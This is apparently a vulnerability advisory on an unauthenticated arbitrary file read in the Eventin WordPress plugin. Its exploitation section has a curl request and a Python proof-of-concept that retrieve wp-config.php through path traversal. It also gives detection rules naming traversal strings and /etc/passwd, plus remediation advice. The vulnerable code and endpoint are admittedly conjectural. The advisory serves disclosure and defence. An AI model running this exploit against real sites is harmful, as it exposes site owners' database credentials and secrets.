CVE-2025-3419

Executive Summary

CVE-2025-3419 is a critical arbitrary file read vulnerability affecting the Event Manager, Events Calendar, Tickets, Registrations – Eventin WordPress plugin, developed by Themein. The flaw resides in the proxy_image() function, which fails to properly sanitize user-supplied file paths. This allows an unauthenticated attacker to read arbitrary files from the server's filesystem, including sensitive configuration files (e.g., wp-config.php), database credentials, and other secrets. The vulnerability has a CVSS score of 7.5 (High) and affects all versions up to and including 4.0.26. No official patch has been released as of this report. CVE-2025-47445 is a duplicate of this vulnerability.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Eventin plugin. Since WordPress plugins are distributed via the official WordPress Plugin Directory and third-party marketplaces, the supply chain risk is elevated. Users who have installed the plugin from unofficial sources or who have not applied any available security updates are at immediate risk. The lack of a patch from the vendor (Themein) means that all installations of the plugin are currently vulnerable, and no fix is available through the standard update mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to full disclosure of sensitive server data.

Deep Dive & Mechanics

The vulnerability exists in the proxy_image() function of the Eventin plugin. This function is designed to fetch and serve images from external URLs, likely for caching or proxying purposes. However, the function does not properly validate or sanitize the input file path. An attacker can supply a path traversal sequence (e.g., ../../wp-config.php) to read arbitrary files from the server.

The vulnerable code likely uses PHP functions like file_get_contents() or readfile() with user-supplied input without restricting the base directory. The lack of a whitelist or proper path canonicalization allows the attacker to escape the intended image directory and read any file the web server has access to.

Key vulnerable function: proxy_image() Attack vector: HTTP GET request with a manipulated image or file parameter. Impact: Unauthenticated arbitrary file read, leading to disclosure of:

• WordPress configuration (wp-config.php) containing database credentials.
• Server configuration files (e.g., .htaccess, php.ini).
• Other sensitive files (e.g., /etc/passwd, private keys).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical analysis of the vulnerable code and a recommended fix.

Vulnerable Code (Conceptual):

function proxy_image() {
    $image_url = $_GET['image'];
    // No validation or sanitization
    $image_content = file_get_contents($image_url);
    header('Content-Type: image/jpeg');
    echo $image_content;
}

Patched Code (Recommended):

function proxy_image() {
    $image_url = $_GET['image'];
    // Validate that the URL is a valid image URL and within allowed domain
    $allowed_domains = array('example.com', 'cdn.example.com');
    $parsed_url = parse_url($image_url);
    if (!in_array($parsed_url['host'], $allowed_domains)) {
        wp_die('Invalid image source.');
    }
    // Additional check: ensure the path does not contain traversal
    if (strpos($image_url, '..') !== false) {
        wp_die('Invalid path.');
    }
    // Use a whitelist of allowed file extensions
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    $extension = pathinfo($image_url, PATHINFO_EXTENSION);
    if (!in_array($extension, $allowed_extensions)) {
        wp_die('Invalid file type.');
    }
    // Proceed with fetching
    $image_content = file_get_contents($image_url);
    header('Content-Type: image/jpeg');
    echo $image_content;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Eventin plugin version <= 4.0.26.
• The vulnerable endpoint is typically /wp-admin/admin-ajax.php with action proxy_image or a similar custom endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint. Use a tool like Burp Suite or curl to probe.
2. Craft a request to read wp-config.php:

   curl -v "http://target.com/wp-admin/admin-ajax.php?action=proxy_image&image=../../../../wp-config.php"
   

3. If the endpoint is different, adjust the parameter name (e.g., file, url).
4. The response will contain the contents of the file.

Proof-of-Concept (PoC) Script:

import requests
import sys

def exploit(target_url):
    payload = "../../../../wp-config.php"
    params = {
        'action': 'proxy_image',
        'image': payload
    }
    response = requests.get(target_url, params=params)
    if response.status_code == 200 and 'DB_NAME' in response.text:
        print("[+] Success! File contents:")
        print(response.text)
    else:
        print("[-] Exploit failed or file not readable.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for unusual GET requests to admin-ajax.php with parameters containing ../ or ..%2f.
2. Look for requests with action=proxy_image and suspicious image parameters.
3. Check for outbound connections from the web server to unexpected IPs (if the proxy function is abused for SSRF).

Response:

1. Immediately disable the Eventin plugin if no patch is available.
2. Review server logs for any signs of exploitation.
3. Rotate all secrets that may have been exposed (database passwords, API keys, etc.).
4. Implement a Web Application Firewall (WAF) rule to block path traversal attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=proxy_image and image parameter containing ../ or ..%2f.
  • Unusual outbound connections from the web server to external IPs (if used for SSRF).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd, wp-config.php).
  • Modified or newly created files in the uploads directory (if the proxy function is abused to write files).
• Log IOCs:
  • Web server access logs showing 200 responses to path traversal requests.
  • Error logs showing failed attempts to read non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_3419_Eventin_File_Read {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3419 in Eventin WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3419"
    strings:
        $s1 = "proxy_image" nocase
        $s2 = "../" ascii wide
        $s3 = "..%2f" ascii wide
        $s4 = "wp-config.php" ascii wide
        $s5 = "/etc/passwd" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-3419 - Eventin Plugin Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit arbitrary file read in Eventin WordPress plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'action=proxy_image'
            - 'image=../'
            - 'image=..%2f'
            - 'image=/etc/passwd'
            - 'image=wp-config.php'
    condition: selection
falsepositives:
    - Legitimate use of the proxy_image function with valid image URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3419 - Eventin Plugin Arbitrary File Read Attempt"; flow:to_server; content:"action=proxy_image"; http_uri; content:"../"; http_uri; distance:0; content:"wp-config.php"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Eventin plugin until a patch is released by Themein.
2. Implement a WAF rule to block requests containing ../ or ..%2f in the image parameter.
3. Monitor logs for any signs of exploitation and rotate exposed credentials.

Long-term Fix:

• The vendor (Themein) must release a patched version that properly sanitizes the image parameter in the proxy_image() function.
• Users should update to the latest version once available.
• Consider using a security plugin like Wordfence to add an additional layer of protection.

Workaround:

• If the plugin cannot be disabled, modify the proxy_image() function to restrict file access to a specific directory (e.g., wp-content/uploads/) and validate that the file is an image.

Valters IT
Securing Digital Frontiers